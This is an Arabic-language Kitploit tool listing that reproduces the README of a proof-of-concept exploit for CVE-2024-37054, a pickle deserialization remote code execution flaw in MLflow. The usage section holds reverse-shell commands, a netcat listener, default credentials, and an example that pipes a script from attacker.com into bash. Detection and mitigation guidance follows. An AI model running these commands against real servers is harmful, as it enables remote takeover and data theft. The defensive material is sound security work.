Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-37054 — إثبات مفهوم لاستغلال CVE-2024-37054، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد عبر إلغاء تسلسل pickle في MLflow Tracking Server. يمكن للمهاجمين المصادق عليهم استبدال قطع أثرية للنماذج لتحقيق تنفيذ تعليمات برمجية عن بُعد. يتضمن إرشادات للكشف والتخفيف. | Kitploit
أدوات/GitHubGitHub/ben-slates/cve-2024-37054
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubben-slates/cve-2024-37054

CVE-2024-37054

إثبات مفهوم لاستغلال CVE-2024-37054، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد عبر إلغاء تسلسل pickle في MLflow Tracking Server. يمكن للمهاجمين المصادق عليهم استبدال قطع أثرية للنماذج لتحقيق تنفيذ تعليمات برمجية عن بُعد. يتضمن إرشادات للكشف والتخفيف.

عرض المستودع
545منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-37054 — ثغرة إلغاء تسلسل Pickle في MLflow تؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)

Python CVE CVSS Affected License

استغلال إثبات المفهوم لثغرة حرجة في إلغاء تسلسل pickle في خادم تتبع MLflow، تتيح تنفيذ تعليمات برمجية عن بُعد للمستخدمين المصادَق عليهم.

⚠️ للاستخدام التعليمي واختبارات الأمان المصرح بها فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.


نظرة عامة على الثغرة

الحقلالقيمة
CVE IDCVE-2024-37054
درجة CVSS8.8 (HIGH)
متجه CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
الإصدارات المتأثرةMLflow < 2.14.3
الإصدار المُصحَّحMLflow ≥ 2.14.3
نوع الثغرةCWE-502: إلغاء تسلسل البيانات غير الموثوقة
متجه الهجومالشبكة
الصلاحيات المطلوبةمنخفضة (بيانات اعتماد صالحة)
تفاعل المستخدملا شيء

الوصف

يقوم خادم تتبع MLflow بإلغاء تسلسل مصنوعات النماذج عبر وحدة pickle في بايثون عند تحميل النماذج للاستدلال. يمكن لمهاجم مصادَق عليه استبدال مصنوعة python_model.pkl في مستودع مصنوعات MLflow بحمولة pickle خبيثة. عند تحميل النموذج لاحقًا (على سبيل المثال، أثناء طلب تنبؤ)، يتم إلغاء تسلسل الحمولة، مما ينفذ تعليمات برمجية عشوائية على الخادم.

المتطلبات الأساسية للاستغلال:

  • وصول شبكي إلى خادم تتبع MLflow
  • بيانات اعتماد MLflow صالحة (الافتراضية أو غيرها)
  • صلاحية الكتابة إلى المصنوعات (ممنوحة لجميع المستخدمين المصادَق عليهم)

التأثير

يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد بمستوى صلاحيات عملية خادم MLflow، مما قد يؤدي إلى اختراق النظام بالكامل، أو تسريب البيانات، أو الحركة الجانبية، أو الوصول الدائم.


كيف يعمل الاستغلال

  1. تسجيل النموذج — يتم رفع مجموعة بيانات تدريب شرعية لإنشاء تشغيل MLflow جديد وتسجيل إصدار نموذج بمصنوعات قياسية.
  2. استبدال المصنوعة — يتم استبدال مصنوعة python_model.pkl بحمولة pickle مصممة خصيصًا عبر PUT /api/2.0/mlflow-artifacts/artifacts/....
  3. تحفيز إلغاء التسلسل — يؤدي طلب تنبؤ إلى جعل MLflow يستدعي pickle.load() على المصنوعة المخترَقة.
  4. تنفيذ التعليمات البرمجية — تستدعي طريقة __reduce__ الخاصة بـ pickle دالة os.system()، مما ينفذ أمر المهاجم.

تستخدم الحمولة os.system() (دالة مدمجة في لغة C) بدلاً من cloudpickle لتعظيم التوافق عبر الإصدارات وتجنب مشاكل البايت كود الخاصة بإصدارات بايثون المحددة.


التثبيت

المتطلبات: بايثون 3.7+ وrequests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

الاستخدام

root@kitploit:~
# Start a listener
nc -lvnp 4444

# Run the exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

أمثلة

root@kitploit:~
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

الخيارات

الوسيطالوصف
targetعنوان URL للتطبيق المستهدف
mlflowعنوان URL لخادم تتبع MLflow
lhostمضيف المهاجم لاستدعاء الصدفة العكسية
lportمنفذ المهاجم لاستدعاء الصدفة العكسية
--mlflow-creds USER:PASSبيانات اعتماد MLflow (الافتراضي: admin:password)
--app-usernameاسم مستخدم تسجيل دخول التطبيق
--app-passwordكلمة مرور تسجيل دخول التطبيق
--app-login-urlمسار نقطة نهاية تسجيل الدخول
--upload-urlمسار نقطة نهاية الرفع
--predict-urlمسار نقطة نهاية التنبؤ
--experiment-id IDاستهداف معرف تجربة محدد
--delay SECONDSالتأخير بين الخطوات (الافتراضي: 2 ثانية)
--cmd COMMANDأمر مخصص للتنفيذ
--verbose / --quietالتحكم في مستوى المخرجات
--no-colorتعطيل المخرجات الملونة

الكشف

مؤشرات الشبكة

  • طلبات PUT إلى نقاط نهاية /api/2.0/mlflow-artifacts/artifacts/
  • طوابع زمنية غير متوقعة لتعديل python_model.pkl
  • POST /api/2.0/mlflow/runs/search متبوعًا فورًا بتعديلات على المصنوعات

مؤشرات المضيف

  • استدعاءات غير متوقعة لـ os.system() من عمليات MLflow
  • عمليات فرعية لبايثون يتم تشغيلها من عمليات عمل MLflow
  • اتصالات صادرة من خادم MLflow إلى مضيفين غير معروفين

استعلامات السجلات

root@kitploit:~
# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

التخفيف

إجراءات فورية:

  • ترقية MLflow إلى 2.14.3 أو أحدث
  • تدوير أي بيانات اعتماد افتراضية أو ضعيفة
  • تقييد الوصول الشبكي إلى نقاط نهاية واجهة برمجة تطبيقات MLflow
  • تدقيق سجل تعديلات المصنوعات بحثًا عن علامات العبث

إجراءات طويلة الأمد:

  • تنفيذ توقيع المصنوعات والتحقق من سلامتها قبل تحميل النماذج
  • استخدام فرض توقيع النموذج وتقييد أنواع النماذج القائمة على pickle حيثما أمكن
  • تفعيل سجل تدقيق MLflow والتنبيه عند الكتابة غير المتوقعة للمصنوعات

البيئات المختبرة

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • تكوينات نشر متنوعة: محلية، Docker، Kubernetes

المراجع

  • NVD — CVE-2024-37054
  • استشارة أمان MLflow
  • CWE-502: إلغاء تسلسل البيانات غير الموثوقة
  • توثيق MLflow — سجل النماذج

إخلاء مسؤولية

هذه الأداة مخصصة حصريًا لما يلي:

  • باحثو الأمن الذين يدرسون ثغرات إلغاء التسلسل
  • مختبرو الاختراق الذين يعملون بتفويض كتابي
  • مسؤولو الأنظمة الذين يدققون نشرات MLflow الخاصة بهم
  • الاستخدام التعليمي في بيئات مختبرية خاضعة للرقابة

لا تستخدم هذه الأداة على أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.


الترخيص

MIT — راجع LICENSE للحصول على التفاصيل.


التواصل

📧 [email protected]
🐛 الإبلاغ عن مشكلة

تنزيل الأداة